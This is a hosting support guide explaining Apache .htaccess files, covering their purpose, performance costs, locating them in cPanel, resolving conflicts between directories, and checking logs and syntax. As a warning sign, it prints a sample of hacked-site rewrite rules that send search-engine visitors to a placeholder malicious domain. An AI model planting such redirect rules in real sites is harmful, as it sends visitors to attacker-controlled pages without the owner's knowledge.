Understanding .htaccess

All Reclaim Hosting servers run Apache Web Server Software. So when an account is provisioned the server creates a directive telling Apache what a user’s domain is and where the files for that domain are located on the server. A single server is able to host multiple sites this way because Apache reads the domain URL and then looks at its list of folders and information about each domain it has a record for and then displays the contents of the right URL.

What is a .htaccess file?

.htaccess is a configuration file that is used on all servers running Apache. The .htaccess file allows you to enable/disable Apache functions and capabilities, so it’s essentially your personal overriding feature. A .htaccess file is loaded, detected, and executed by the Apache Web server software. Though the .htaccess file sometimes comes with a few lines by default, we can write commands of our own to redirect away from 404 file not found errors, for example.

What’s something that happens by default in .htaccess? The WordPress .htaccess file will redirect labrumfield.com/index.php to labrumfield.com because there’s a rule that will tell the server that index.php is what the server should display.

What’s an example of why I would need to edit the .htaccess file? In a scenario where someone migrated a site from WordPress to Ghost, editing the .htaccess file would be helpful to redirect all old WordPress URLs and permalinks to their new location. A user may also be interested in editing their .htaccess file to force HTTPS onto their site.

When not to use .htaccess:

.htaccess should only be used as a last resort for DoOO admins, and only if you know what you’re doing. Any time you add commands to a .htaccess file, you’re asking the server to do more work on the inside, so a user’s site(s) could take a performance hit depending on the commands. Apache looks in every directory for .htaccess files, and then .htaccess files load every time a document is requested. So just as a good rule of thumb, if it can be done outside of .htaccess and on the server level instead, choose the latter.

An example: Denying Visitors by an IP address | This helpful guide explains how to block IPs at the account level in .htaccess, but that should really be reserved for an experienced account owner who is looking to quickly block an IP in a pinch. DoOO admins, however, should really be blocking IPs on the server in WHM > ConfigServer Security & Firewall (CSF). That way the IP request isn’t even making it as far as Apache as it would be blocked on the server level, so it’s one less thing for Apache to do.

Troubleshooting .htaccess on a Domain of One’s Own instance:

If you’re troubleshooting a ticket and have already checked the error log, the next place to go would be the .htaccess file. To find .htaccess, go to cPanel>File Manager> website directory of your choice. Go to the top, right-hand corner of the screen and click Settings.

Check Show Hidden Files and click Save. (.htaccess is one of cPanel’s ‘hidden files’ so you may not see it at first glance!)

If you’ve done the above and you still can’t see the .htaccess file in a site directory, well, there’s your problem. I’ve actually come across this issue in a support ticket once or twice– the user thought that they only needed the .htaccess file in the public_html, but you actually need the file in every site directory folder.

If you did find the .htaccess file, select & click Edit:

No two sites will be the same, which means no two errors will be the same. This makes troubleshooting challenging in general, but the more you work with .htaccess over time, the more you’ll understand what a normal file looks like, vs. one that needs work. I say this because it’s difficult to write a section on .htaccess with perfect solutions. But hopefully the content below can give you a few pointers:

RewriteEngine On

• Sometimes it’s as simple as the file is missing its opening header, which looks like this:

RewriteEngine On

^So that’s something I definitely always look for.

Unfamiliar Commands

If you see unfamiliar commands cluttering in a .htaccess file, that could be a pretty good sign that the site is hacked. So for example, if you’re troubleshooting a simple WordPress instance and you know for a fact that the user hasn’t been editing their .htaccess file, you should see something like this:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

If you instead see something like this:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://MaliciousDomain.tld/bad.php?t=3 [R,L]

…that should throw some red flags. This code is trying to reroute viewers who search the user’s domain on popular search engines to a malicious site.

Conflicting .htaccess files

Although most accounts will only use one .htaccess file, folks do have the option to have multiple. So if a user has both WordPress and Omeka installed in their public_html, at least two .htaccess files will exist. And since .htaccess file rules apply to the directory that they live in as well as all of their sub-directories, occasionally those 2 or more .htaccess files can conflict with each other. To test this, you can try disabling each .htaccess file one at a time in order to see where the issue may be.

A great example: Omeka used to have a bug that would appear when it was installed in the main public_html folder. The user would then go to install something else like WordPress in a subdirectory of public_html and would receive the following HTTP Error 500:

! PHP for the selected domain has failed.
Installatron is unable to install to a domain where PHP is not working.
Reclaim Hosting can help you resolve this error.
Error code: 1; HTTP code: 500

Turns out this was a .htaccess file confliction. The fix was to manually add a .htaccess file in the subdirectory in question with the line RewriteEngine On. After making that addition, WordPress would install successfully like normal.

Checking the Apache Error Log

If you’re still needing more information but aren’t sure where to look, Apache Error Logs can be helpful. You can ssh into your DoOO server and use the following command:

sudo tail /var/log/apache2/error_log

This log can give insight on any changes or modifications that need to be made to the .htaccess file.

Lastly, a Syntax check

Sometimes .htaccess could be throwing an error all because of improper syntax. I came across a super handy site called htaccesscheck.com (who would’ve thought) where you can copy/paste your entire script into the site and click Submit text area. Two seconds later, you’ll get something like the following:

^I added line 12 on purpose so you could see the clear error here. Now I’m sure there’s a command for syntax check, but this site works well enough for me. :)

P.s. You can also check your .htaccess rules in advance using this .htacess tester.